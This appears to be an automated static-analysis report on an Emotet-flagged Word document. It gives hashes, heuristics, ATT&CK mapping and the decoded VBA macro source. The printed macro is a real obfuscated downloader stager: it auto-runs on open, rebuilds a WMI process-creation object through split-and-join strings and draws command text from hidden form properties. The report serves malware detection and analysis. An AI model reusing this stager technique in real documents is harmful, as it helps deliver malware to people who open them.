Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 80d32fabd4ef9c2f…

MALICIOUS

Office (OLE)

172.9 KB Created: 2020-07-21 19:28:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: bfb38b6dc684168b1ca5be19df47b0f1 SHA-1: 4216846636155afafed9e937b385857019209008 SHA-256: 80d32fabd4ef9c2f61025263185e0a3a9643a936901f2f385203562ca7c28fe1
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a Document_Open VBA macro that utilizes CreateObject to instantiate a downloader, as indicated by critical heuristics. The ClamAV signature 'Doc.Downloader.Emotet-9398298-1' strongly suggests the Emotet family. The macro's obfuscated string concatenation likely forms a URL for downloading and executing a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9398298-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9398298-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9940 bytes
SHA-256: 631ac9ee0aab4e99cc89cdde0b3a7bc02bba70f2e6a033529a83c40f94ee4873
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zeadyiavnuaz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
voefbiayjex
End Sub


Attribute VB_Name = "woicroib"
Attribute VB_Base = "0{7B268D8D-14B2-4AA9-8A7A-17ECD03DE911}{02079B4F-5E5B-4E1A-9CBD-FC46159BCA51}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "queuthdoibfuwriot"
Function voefbiayjex()
wauzloxfeubnuuc = Chr(woicroib.Zoom + Int(15))
Dim SQiN0ÀkZ4â As Double
chuawjoukboip = "3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23wi3264gyjvgjh^&Fv2b3dsdfffw23nm3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23gmt3264gyjvgjh^&Fv2b3dsdfffw23" + wauzloxfeubnuuc + ":w3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23in3264gyjvgjh^&Fv2b3dsdfffw23323264gyjvgjh^&Fv2b3dsdfffw23_3264gyjvgjh^&Fv2b3dsdfffw23" + woicroib.foebnoez + "r3264gyjvgjh^&Fv2b3dsdfffw23oc3264gyjvgjh^&Fv2b3dsdfffw23es3264gyjvgjh^&Fv2b3dsdfffw23s3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23"
waenthoucvaoltaig = cheixbeachjeuhkiam(chuawjoukboip)
Dim hZvXd4âE As String
hZvXd4âE = Replace$("YjogUE", "Yjo", "MQtf7Ò")
Set choodvegxauquheach = CreateObject(waenthoucvaoltaig)
Dim y4Út As Integer
y4Út = 9
Do While y4Út < 9 + 9
y4Út = y4Út + 9: DoEvents
Loop
deocveojtheuy = woicroib.luutyaxthaux.ControlTipText
Dim oAF As Integer
oAF = 3
Do While oAF < 3 + 9
oAF = oAF + 9: DoEvents
Loop
taiquyaimduaztoub = waenthoucvaoltaig + wauzloxfeubnuuc + woicroib.huachceuxnead.ControlTipText + deocveojtheuy
Dim hcgKyIb4ÛjC As Integer
hcgKyIb4ÛjC = 5
Do While hcgKyIb4ÛjC < 5 + 5
hcgKyIb4ÛjC = hcgKyIb4ÛjC + 7: DoEvents
Loop
rifraed = taiquyaimduaztoub + woicroib.foebnoez
Dim kbbShoFNe As String
kbbShoFNe = Replace$("ev5ÒPMnmcnAU", "ev5ÒPMnmc", "G2ÙPMeK2ËOD")
Set veewhaivveuz = saevziojpaeg(rifraed)
Dim Vdu As Object
xc = Array(dew, eed, qed, choodvegxauquheach. _
Create(koeymeobdaumdoich, teebgis, veewhaivveuz), woj, www)
Dim RTyScy As Currency
End Function
Function saevziojpaeg(naunluut)
Set saevziojpaeg = CreateObject(naunluut)
Dim AQYENtSBaX As String
AQYENtSBaX = Replace$("gjNsI0ÝbqcyTC", "gjNsI0Ýbq", "jFORyh")
saevziojpaeg _
. _
showwindow = (puujfiohdeehfuaz + muuhnachwec) + (ribfiagheaz + zoethnaexsouk)
Dim rwsuXtFX As Integer
rwsuXtFX = 1
Do While rwsuXtFX < 1 + 1
rwsuXtFX = rwsuXtFX + 7: DoEvents
Loop
End Function
Function cheixbeachjeuhkiam(basxauppoac)
duthsoux = basxauppoac
Dim kcAag4Hn As String
kcAag4Hn = Replace$("mrkX0ÅyuviuOJL", "mrkX0Åyu", "oLsDGg")
jeochpaeyceobteeh = Split(duthsoux, "3264gyjvgjh^&Fv2b3dsdfffw23")
Dim wBf As Integer
wBf = 7
Do While wBf < 7 + 4
wBf = wBf + 8: DoEvents
Loop
cialhaossaonkef = cvf + Join(jeochpaeyceobteeh, cvf)
Dim JQ5âYJ1ÇiRqo As String
JQ5âYJ1ÇiRqo = Replace$("vAdPbypeHeM6Ô6Ðpe", "vAdPbypeH", "i2ÍLagvF")
cheixbeachjeuhkiam = cialhaossaonkef
Dim w3ÉJ As Long
End Function
Function koeymeobdaumdoich()
io = woicroib.raopfeukchaup.Pages(1).ControlTipText
Dim qAgF As String
qAgF = Replace$("aC48ßAlw3ÁSqNYdW", "aC48ßAlw3ÁS", "cZB")
koeymeobdaumdoich = cheixbeachjeuhkiam(io)
Dim ppu As Date
End Function


' Processing file: /opt/analyzer/scan_staging/db6f8d812811457db3b8ea5407b06190.bin
' ===============================================================================
' Module streams:
' Macros/VBA/zeadyiavnuaz - 1360 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub zeadyiavnuaz())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/woicroib - 1189 bytes
' Macros/VBA/queuthdoibfuwriot - 5509 bytes
' Line #0:
' 	FuncDefn (Function Document_open())
' Line #1:
' 	Ld woicroib 
' 	MemLd Chr 
' 	LitDI2 0x000F 
' 	FnInt 
' 	Add 
' 	ArgsLd wauzloxfeubnuuc 0x00
... (truncated)